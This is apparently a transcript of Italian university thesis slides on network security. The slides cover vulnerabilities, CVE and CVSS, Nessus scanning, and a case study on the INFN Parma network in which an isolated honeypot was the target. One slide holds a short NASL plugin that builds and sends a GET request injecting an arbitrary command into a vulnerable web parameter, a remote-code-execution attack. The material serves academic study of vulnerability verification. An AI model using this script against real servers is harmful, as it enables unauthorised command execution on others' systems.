Presentazione Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

28
DRAFT Sicurezza delle Reti Informatiche Le vulnerabilit` a Riccardo Melioli 27 ottobre 2016 Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 1 / 19

Transcript of Presentazione Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

DRAFTSicurezza delle Reti InformaticheLe vulnerabilita

Riccardo Melioli

27 ottobre 2016

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 1 / 19

DRAFTObiettivi

ObiettiviMetodi utilizzati per l’attacco e la difesa delle reti informatiche.Vulnerabilita e tool inerenti.Caso d’uso alla rete INFN di Parma.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 2 / 19

DRAFTCos’e la Sicurezza informatica

Sicurezza informaticaanalisi delle vulnerabilita.analisi del rischio.analisi delle minacce.protezione dell’integrita logico-funzionale.

Sicurezza delle reti informaticheverifica della presenza delle vulnerabilita nella rete.sicurezza delle comunicazioni tra i nodi della rete.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 3 / 19

DRAFTPerche studiarla

Informatizzazione della societaLa crescente informatizzazione della societa e dei servizi hanno aumentatoprogressivamente l’interesse nella sicurezza informatica, in particolare isettori dove le informazioni sono di importanza critica.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 4 / 19

DRAFTProblematiche della sicurezza delle reti

Compromesso Sicurezza-UsabilitaCompromesso tra le misure di sicurezza da adottare per proteggere la reteda accessi indesiderati e l’usabilita con cui viene utilizzata.

Presenza VulnerabilitaPresenza di falle che possono compromettere l’intero funzionamento dellarete stessa e l’integrita dei nodi da cui e composta.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 5 / 19

DRAFTDefinizione

VulnerabilitaComponente di un sistema, in corrispondenza alla quale le misure disicurezza possono essere assenti o ridotte, rappresentando un puntodebole del sistema e permettendo ad un eventuale aggressore dicomprometterne il livello di sicurezza.Le vulnerabilita sono dovute a:

Bug del software;Problematiche dovute al funzionamento di protocolli.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 6 / 19

DRAFTCategorizzazione

Categorie di VulnerabilitaLe categorie delle vulnerabilita sono identificate in base al tipo didisservizio che possono causare.

Nell’immagine sono quantificate le vulnerabilita, suddivise per tipo di disservizio, rilevate in internet dal 1999 ad Agosto 2016[CVE Details].

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 7 / 19

DRAFTVulnerability Database

Vulnerability DatabaseUn Vulnerability Database e una piattaforma volta a raccogliere,mantenere e diffondere informazioni sulle vulnerabilita scoperte neisistemi informatici.I database di vulnerabilita identificano le vulnerabilita, tramite le CVE(Common Vulnerabilities and Exposures) e ne classificano la gravitatramite CVSS.Ad ogni vulnerabilita CVE e associato uno score CVSS, che e un valoretra 0 e 10 stimato in base a delle metriche:

Access Vector;Integrity;...

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 8 / 19

DRAFTValutare il livello di sicurezza di un sistema

Vulnerability AssessmentProcesso volto a valutare l’efficacia dei meccanismi di sicurezza, sisuddivide nelle seguenti fasi:1 Individuazione delle vulnerabilita.2 Quantificazione della gravita.3 Assegnazione delle priorita.

Vulnerability ScannerProgrammi progettati per ricercare e valutare le vulnerabilita diun’applicazione, di un computer o di una rete.Solitamente orientati alle grandi reti percio effettuano scansioni ad ampiospettro e non invasive.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 9 / 19

DRAFTNessus

ArchitetturaNessus e strutturato per l’utilizzo di plugin, che lo rendono dinamico eflessibile, in base al tipo di scansione richiesta. E’ composto da:

Manager: core dell’applicazione.Interprete NASL: esegue i plugin scritti in linguaggio NASL.

Scansione delle vulnerabilita in Nessus1 Verifica quali host sono attivi nella rete.2 Effettua port scanning per ogni host attivo.3 Ricerca le vulnerabilita tramite test non invasivi, effettuati con i relativi

plugin.4 Identifica le vulnerabilita tramite confronto con il vulnerability database.5 Genera un report.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 10 / 19

DRAFTMetodologia per la verifica della presenza vulnerabilita

ProblemiI Vulnerability scanner possono presentare le seguenti problematiche:

generazione falsi positivi in situazioni dove vi sono sistemi di difesa(Firewall, Proxy, IDS, ...);informazioni superficiali a causa della non invasivita delle scansioni,per non compromette i sistemi.

SoluzioneApprofondire le scansioni verificando l’effettiva presenza mediantel’utilizzo di plugin in NASL opportunamente sviluppati per quellevulnerabilita.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 11 / 19

DRAFTPerche utilizzare il linguaggio NASL?

Cos’eNASL(Nessus Attack Scripting Language) e un linguaggio di scriptingspecializzato per l’ambito delle reti, che consente di sviluppare plugin ingrado di compiere attacchi a diversi livelli della pila ISO/OSI.

VantaggiSemplicita: e provvisto di librerie specializzate per gli attacchi,rendendo semplice e veloce la creazione di plugin.Sicurezza: Nessus esegue i plugin isolati dal sistema operativodell’attaccante, garantendo il completo anonimato.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 12 / 19

DRAFTCaso d’uso: Rete INFN Parma

ObiettivoApplicare la teoria studiata alla rete INFN, quindi si e utilizzata lametodologia precedentemente vista, composta dalle seguenti fasi:1 Scansione non invasiva delle vulnerabilita mediante Nessus.2 Sviluppo di un plugin che utilizzi una vulnerabilita rilevata per

effettuare un attacco, verificandone di conseguenza la presenza.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 13 / 19

DRAFTProblematiche nell’effettuare l’attacco

Tutela dei dati e business continuity dell’INFNPer motivi di privacy dei dati presenti su tali host e per motivi di businesscontinuity dei progetti INFN, si e messo a disposizione un honeypot,appositamente inserito nella rete INFN.

HoneypotComponente hardware o software che sembra essere parte della rete econtenere informazioni, ma che in realta e ben isolato e non ha contenutisensibili o critici.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 14 / 19

DRAFTScansione delle vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 15 / 19

DRAFTScansione delle vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 15 / 19

DRAFTScansione delle vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 15 / 19

DRAFTScansione delle vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 15 / 19

DRAFTScansione delle vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 15 / 19

DRAFTScansione delle vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 15 / 19

DRAFTScansione delle vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 15 / 19

DRAFTScansione delle vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 15 / 19

DRAFTPlugin in NASL utilizzato per l’attacco

RCE attack (Remote Code Execution)Attacco che permette all’attaccante di eseguire qualsiasi comando daremoto su un potenziale obiettivo, che puo essere un elaboratore o unprocesso eseguito da esso.

Fasi Attacco1 Identificazione Host e path del file vulnerabile nel server Web.2 Scelta comando da eseguire sulla macchina della vittima.3 Formattazione e composizione URI in modo che sfrutti la

vulnerabilita.4 Effettua la richiesta GET dell’URI.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 16 / 19

DRAFTipAddress = get_host_ip ();port = get_http_port ( default :80);file = prompt (” Path f i l e v u l n e r a b i l e : ”);param = prompt (”Nome Parametro : ”);

cmd = prompt (”Comando da e s e g u i r e : ”);

cmd = str_replace ( string : cmd , find: ” ” , replace : ”%20”);

finalString = strcat (” ht tp : / / ” , ipAddress , file , ” ? ” ,param , ”=” , cmd);

soc = http_open_socket (port);request = http_get (port: port , item: finalString );send( socket :soc , data: request );resp = http_recv ( socket : soc);http_close_socket (soc); �

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 17 / 19

DRAFTScansione dell vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 17 / 19

DRAFTScansione dell vulnerabilita

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 17 / 19

DRAFTConclusioni e Sviluppi Futuri

ConclusioniCon il presente lavoro sono stati analizzati i metodi utilizzati per l’attaccoe la difesa delle reti informatiche, illustrando con particolare attenzione levulnerabilita, ed infine con l’applicazione del caso d’uso si e dimostratoquando visto.

Sviluppi futuriUn possibile sviluppo futuro, avendo disponibilita di calcolo e dimonitoraggio adeguate, sarebbe di estendere quanto visto ed applicato areti di dimensione maggiori.

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 18 / 19

DRAFTGrazie per l’attenzione

Riccardo Melioli Sicurezza delle Reti Informatiche 27 ottobre 2016 19 / 19